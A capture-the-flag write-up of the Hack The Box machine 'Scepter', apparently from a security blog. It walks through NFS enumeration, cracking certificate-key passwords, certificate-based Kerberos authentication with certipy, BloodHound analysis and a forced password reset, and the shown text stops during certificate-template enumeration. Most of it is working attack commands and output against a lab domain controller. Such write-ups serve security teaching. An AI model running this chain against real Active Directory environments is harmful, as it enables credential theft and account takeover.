HTB: Scepter

Scepter starts with an open NFS share exposing some client authentication certificates. Most have been revoked, but I’m able to crack the password on the other and authenticate with it. That user can change the password of the next user, and from there I’ll abuse ESC14 to get authentication as another user. The next escalation is a different twist on ESC14, and from there I can DCSync the domain hashes for full compromise. In Beyond Root, I’ll look at the failed certificate authentication at the start of the box and show that the user accounts are disabled but the certificates are fine, as well as a look at the configuration that didn’t allow ESC9.
Box Info
Name | Scepter ![]() Play on HackTheBox |
---|---|
Release Date | 19 Apr 2025 |
Retire Date | 19 Jul 2025 |
OS | Windows ![]() |
Base Points | Hard [40] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:49:28 |
![]() |
01:53:04 |
Creator |
Recon
nmap
nmap
finds 25 open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:36 UTC
Nmap scan report for 10.10.11.65
Host is up (0.093s latency).
Not shown: 65510 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
5985/tcp open wsman
5986/tcp open wsmans
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49678/tcp open unknown
49679/tcp open unknown
49680/tcp open unknown
49681/tcp open unknown
49694/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,5985,5986,9389 -sCV 10.10.11.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:41 UTC
Nmap scan report for 10.10.11.65
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-22 06:41:06Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-22T06:42:02+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-22T06:42:01+00:00; +7h59m58s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
|_ssl-date: 2025-04-22T06:42:01+00:00; +7h59m58s from scanner time.
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-22T06:41:53
|_ start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.24 seconds
The domain scepter.htb
is identified on LDAP ports, as well as the hostname DC01.
The majority of the open ports are the standard Windows domain controller ports. There’s also:
- NFS (2049, 111 RPC support) - Definitely will want to enumerate.
- WinRM(S) (5985, 5986) - Will come back to when I have creds.
I’ll use netexec
to verify the hostname / domain and create an entry for my /etc/hosts
file:
oxdf@hacky$ netexec smb 10.10.11.65 --generate-hosts-file scepter_hosts
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
oxdf@hacky$ cat scepter_hosts | tee -a /etc/hosts
10.10.11.65 DC01.scepter.htb scepter.htb DC01
NFS - TCP 2049
Volume Enumeration
To enumerate NFS shares, I’ll use showmount -e
(apt install nfs-common
):
oxdf@hacky$ showmount -e dc01.scepter.htb
Export list for dc01.scepter.htb:
/helpdesk (everyone)
There is a volume named helpdesk
available to everyone. It contains keys for four different users:
oxdf@hacky$ sudo mount -t nfs dc01.scepter.htb:/helpdesk /mnt
oxdf@hacky$ sudo ls -l /mnt/
total 20
-rwx------ 1 nobody nogroup 2484 Nov 2 03:01 baker.crt
-rwx------ 1 nobody nogroup 2029 Nov 2 03:01 baker.key
-rwx------ 1 nobody nogroup 3315 Nov 2 03:01 clark.pfx
-rwx------ 1 nobody nogroup 3315 Nov 2 03:01 lewis.pfx
-rwx------ 1 nobody nogroup 3315 Nov 2 03:02 scott.pfx
I’ll copy these files to my host.
Key Enumeration
baker.crt
has metadata about the user at the top:
Bag Attributes
friendlyName:
localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGTDCCBTSgAwIBAgITYgAAADLhpcORUTEJewAAAAAAMjANBgkqhkiG9w0BAQsF
...[snip]...
ta2X/V1roCSq1/ExhIHWr5u2tkQxJxcmR8mbbM+0tWo=
-----END CERTIFICATE-----
The baker.key
file is encrypted:
Bag Attributes
friendlyName:
localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E
Key Attributes: <No Attributes>
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFNTBfBgkqhkiG9w0BBQ0wUjAxBgkqhkiG9w0BBQwwJAQQ17OfpdLR0GFTqV4d
...[snip]...
90yWTwKFUUj3pzCG2WyraNJn44jo3sFJzoUhyUKUYfn2lMtnwOvw//A=
-----END ENCRYPTED PRIVATE KEY-----
I can try to extract keys and certificates from the others, but they each are encrypted as well:
oxdf@hacky$ openssl pkcs12 -in clark.pfx -nocerts -out clark.key
Enter Import Password:
Mac verify error: invalid password?
Auth as d.baker
Crack Passwords
Crack PFX Passwords
Each of the PFX files are encrypted and I don’t have any passwords. I’ll use pfx2john
to get a hash for each that can be brute-forced with hashcat
:
oxdf@hacky$ pfx2john.py clark.pfx > pfx.hashes
oxdf@hacky$ pfx2john.py lewis.pfx >> pfx.hashes
oxdf@hacky$ pfx2john.py scott.pfx >> pfx.hashes
As far as I can tell, hashcat
doesn’t have a mode for these, but john
will crack it:
oxdf@hacky$ john pfx.hashes
--wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 16 [worst case UTF-8] to 48 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
newpassword (lewis.pfx)
newpassword (clark.pfx)
newpassword (scott.pfx)
3g 0:00:00:00 DONE (2025-04-22 08:36) 11.11g/s 22755p/s 68266c/s 68266C/s adriano..horoscope
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
All three have the password “newpassword”.
Crack PEM Password
The baker.key
file is also encrypted. pem2john
will create a hash:
oxdf@hacky$ pem2john.py baker.key | tee baker.hash
$PEM$2$pbkdf2$sha256$aes256_cbc$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0
The start of the hash doesn’t quite match up with anything in the hashcat example hashes, but it’s very close to the example hash for mode 24420:
$PEM$2$4$ed02960b8a10b1f1$2048$a634c482a95f23bd8fada558e1bac2cf$1232$50b21db4aededb96417a9b88131e6bc3727739b4aa1413417338efaa6a756f27c32db5c339d9c3ba61c746bbe3d6c5e0a023f965e70fb617e78a00890b8c7fc7c9f5e0ab39f35bf58ab40f6ed15441338134d041ca59783437ef681a51132c085abb3830df95e9f94d11da54d61679ca6e40136da96ffe205ce191002458143f03cba3aeca6b22a3f0689d5582b3e6c01baee7a04d875ed44bb84fa0ed0a3aae1ed392645cced385498eef4ec25bf6d1399f1487f3625fad9fee25aabf18edb1ce5e640e834d31251b882601f23c2b2d77a45c84e0fc8a3a42e3ff9f75e7ac815c57a7e943ad803ab3672f85a37c6b92d0813590d47a31788643449dce67f135363a0c14f089629a1274b124539535df5f50df5d4402f7a109738f56467725a8aa3884562c8b4c42c068c3502be86e20ac9c52c0daec22e47dcbefebe902b1dc791ed3cd069c7f9211e43f5a3274450f4b0f0b7c6f59adeca8b39ed130b6cbda7cf98e15bbba21fa1758a28dc2edf2e2f17fc353853dc881458e59184f5a8f6e09456e4d71d90135a8ce67350f7bcb3d900e75585e3a87c0c8482f3917347fcfad4fdb8915991cffd20dae1502d0f69d385244e489e50cc9f24b15a5f9d0b00d62805026db5378b5408d7d719786eb043659a452096736e4a7501548655df83045dc4e86bd3319f2982e6db2bbb239019202cebf2ca68c05b578ba95cef82397b145c80208cd7ffd9b0cd5fc3d0d7ea26401c8e11c28ab8d1a524b884962e7fee597943a5e38137abb8b26a7772f0ad6dad074dcfd0b5794822aa7e43d10cab2c95e63b6459706dc21a1cbbd7ae4c96b40ee4d7039cf84c416cb879b2d30b7ac5e1860dcd2ab5479c39b748f5fd9336934c9c1e8064ffb0906c0c2898479209d1a9c97c3cd1782d7514e94d01b242a371a2df5592d620ebd6e18e63ff24ee8ba182f17e6c578431d738e955a957469e8069a919fd3a15532d460201d4e38ac04ac494b9cde1731d4511bf8faf8420a9de4f8c7d3d721fc30d8c3664683fd91ad3515e97092fb652205fb087890cb594947f5372c9b0b27f08b4b57bf610f777fcf040e6e7b8cedf85113dfd909cbac4b774c7580686f2e1f261898da4c6804d573fb22248005f5e0d3b256a0f3dcb71c47b3d674352bda82c22a513e381f990b6100328185511de9b3352126c5aedb9b0bde15743b42e231ef7227c0fe478044ce69474a740366058f07e56dde7d6089cb76e606482e7ba206355fc0fa180c4a41ae781e4723120e3d5a1dd40224db2c959ecbc9bce88bfeed64082d07b111e88a2d8a6a6fe097c9a298a6c3f76beb5b3b5aecedbbbcd404aac8fd25c069c747338ca0c81e6b63d87fc4f0bc18a86b721e3a16e9875741e0313057de8476ee84e36efe557dc33a7d23a9426f2e359781147607ad79235c9d7846320fe2d963fac79a5c92ff3067595273931174d2173f63cfceb9f62a873e7c240d3c260bcfb02b2697911321a72455cacc6929133d0af2cdf6d59a63293ac508786a4850267f90993fff3b6c07bbf3af0e3c08638148101ae1495da3360614866e238c4f60ca00f615877be80cc708da5ea1c30032acffd0e55429ba29dca409349d901a49831db44c1e58b7530b383d3f7e1cac79200cad9bdf87451783f2ffdab09b230aab52b41fa42fdd9f1f05a3dda0fa16b011c51e330d044adf394bbbb7fa25efc860f3082e42824be3b96943afbe641fe6bb
I’ll remove $pbkdf2$sha256$aes256_cbc
from the output and then hashcat
recognizes and cracks it:
$ hashcat baker.hash rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
...[snip]...
$PEM$2$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0:newpassword
...[snip]...
It’s “newpassword” as well.
User Authentication
Get Usernames
With the passwords, I can extract usernames from the .pfx
files. For example, with clark.pfx
, I’ll get the certificate:
oxdf@hacky$ openssl pkcs12 -in clark.pfx -clcerts -nokeys -out clark-cert.pem -nodes
Enter Import Password:
The result is:
Bag Attributes
localKeyID: E1 84 EA CC 0B 68 19 40 D4 CA 6B 14 C1 8E 9E 30 E7 AA 48 B4
subject=DC = htb, DC = scepter, CN = Users, CN = m.clark
issuer=DC = htb, DC = scepter, CN = scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGEzCCBPugAwIBAgITYgAAACllRWGwWoYhBQAAAAAAKTANBgkqhkiG9w0BAQsF
...[snip]...
QC50FKklZS/V7stBJkjnh3IfX0w3VfI=
-----END CERTIFICATE-----
The usernames from the three certificates are m.clark, e.lewis, and o.scott.
Auth Fails
I can try to use these certificates to authenticate to the domain and get a Kerberose ticket granting ticket (TGT). One way is with PKINITtools, which has a nice gettgtpkinit.py
script which I’ve installed using uv
. It takes a .pfx
and a password and attempts to get a TGT:
oxdf@hacky$ gettgtpkinit.py -pfx-pass newpassword -cert-pfx scott.pfx scepter.htb/o.scott o.scott.ccache
2025-04-22 19:12:30,782 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-22 19:12:30,795 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
File "/home/oxdf/.local/bin/gettgtpkinit.py", line 357, in <module>
main()
File "/home/oxdf/.local/bin/gettgtpkinit.py", line 353, in main
amain(args)
File "/home/oxdf/.local/bin/gettgtpkinit.py", line 323, in amain
res = sock.sendrecv(req)
^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.cache/uv/environments-v2/gettgtpkinit-b0d8675dbe1dc482/lib/python3.12/site-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_CLIENT_REVOKED Detail: "Client’s credentials have been revoked"
All three .pfx
files return KDC_ERR_CLIENT_REVOKED
. I’ll show that this is because the accounts are disabled in Beyond Root.
I can also use Certipy, but it requires a .pfx
without a password. I’ll extract the key, and with the certificate I extracted above, make a new .pfx
with no password (just hitting enter when prompted):
oxdf@hacky$ openssl pkcs12 -in clark.pfx -nocerts -out clark-key.pem -nodes
Enter Import Password:
oxdf@hacky$ openssl pkcs12 -export -out clark-no-pass.pfx -inkey clark-key.pem -in clark-cert.pem
Enter Export Password:
Verifying - Enter Export Password:
certipy
returns the same result:
oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'm.clark@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
Auth Success
I’ll make a .pfx
for d.baker using openssl
:
oxdf@hacky$ openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx
Enter pass phrase for helpdesk/baker.key:
Enter Export Password:
Verifying - Enter Export Password:
I’ll enter “newpassword” for the pass phrase prompt, and empty lines for the next two.
Now certipy
works great:
oxdf@hacky$ sudo ntpdate scepter.htb
2025-04-23 03:29:25.258030 (+0000) +28798.128979 +/- 0.045882 scepter.htb 10.10.11.65 s1 no-leap
CLOCK: time stepped by 28798.128979
oxdf@hacky$ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'd.baker@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
I’ve got both a TGT and the NTLM hash for the user. Both work:
oxdf@hacky$ netexec smb scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
oxdf@hacky$ KRB5CCNAME=d.baker.ccache netexec smb scepter.htb -k --use-kcache
SMB scepter.htb 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB scepter.htb 445 DC01 [+] SCEPTER.HTB\d.baker from ccache
d.baker is not able to WinRM:
oxdf@hacky$ netexec winrm scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
WINRM 10.10.11.65 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM 10.10.11.65 5985 DC01 [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
Auth as a.carter
Users
I’ll take a quick look at the users in the domain:
oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --users
LDAP 10.10.11.65 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
LDAP 10.10.11.65 389 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
LDAP 10.10.11.65 389 DC01 Enumerated 10 domain users: scepter.htb
LDAP 10.10.11.65 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.65 389 DC01 Administrator 2025-03-07 22:19:11 0 Built-in account for administering the computer/domain
LDAP 10.10.11.65 389 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.65 389 DC01 krbtgt 2024-10-31 22:24:41 0 Key Distribution Center Service Account
LDAP 10.10.11.65 389 DC01 d.baker 2025-04-23 05:21:04 0
LDAP 10.10.11.65 389 DC01 a.carter 2025-04-23 05:21:03 0
LDAP 10.10.11.65 389 DC01 h.brown 2025-03-07 22:19:11 0
LDAP 10.10.11.65 389 DC01 p.adams 2024-11-02 08:00:25 0
LDAP 10.10.11.65 389 DC01 e.lewis 2024-11-02 01:07:14 0
LDAP 10.10.11.65 389 DC01 o.scott 2024-11-02 01:07:14 0
LDAP 10.10.11.65 389 DC01 M.clark 2024-11-02 01:07:14 0
Nothing jumps out as interesting.
Bloodhound
Collect
I’ll use this hash to collect Bloodhound data using netexec
:
oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --bloodhound --dns-server 10.10.11.65
LDAP 10.10.11.65 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) (signing:None) (channel binding:Never)
LDAP 10.10.11.65 389 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
LDAP 10.10.11.65 389 DC01 Resolved collection methods: group, session, localadmin, trusts
LDAP 10.10.11.65 389 DC01 Done in 0M 2S
LDAP 10.10.11.65 389 DC01 Compressing output into /home/oxdf/.nxc/logs/DC01_10.10.11.65_2025-07-16_212411_bloodhound.zip
I would also collect with RustHound-CE. It doesn’t yet support auth by hash, but I can get a TGT with getTGT.py
and then use Kerberos auth. It doesn’t make a difference here.
Analysis
I’ll start Bloodhound-CE in a Docker container (see my Blazoried post for details) and load the data. I’ll make d.baker as owned, and look at their outbound control:

They have ForceChangePassword
over a.carter.
Password Change
I’ll use netexec
to change the password of a.carter:
oxdf@hacky$ netexec smb scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce -M change-password -o USER=a.carter NEWPASS=Welcome1
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
CHANGE-P... 10.10.11.65 445 DC01 [+] Successfully changed password for a.carter
oxdf@hacky$ netexec smb scepter.htb -u a.carter -p Welcome1
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\a.carter:Welcome1
It worked. a.carter can’t WinRM either:
oxdf@hacky$ netexec winrm scepter.htb -u a.carter -p Welcome1
WINRM 10.10.11.65 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM 10.10.11.65 5985 DC01 [-] scepter.htb\a.carter:Welcome1
Shell as h.brown
AD CS
BloodHound Enumeration
a.carter is a member of IT Support, which has GenericAll
over the Staff Access organizational unit (OU):

Looking at the users in the OU, there’s only one:

Certipy
I’ll use certipy
to look for vulnerable templates:
oxdf@hacky$ certipy find -vulnerable -u d.baker -hashes :18b5fb0d99e7a475316213c15b6f22ce -dc-ip 10.10.11.65 -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
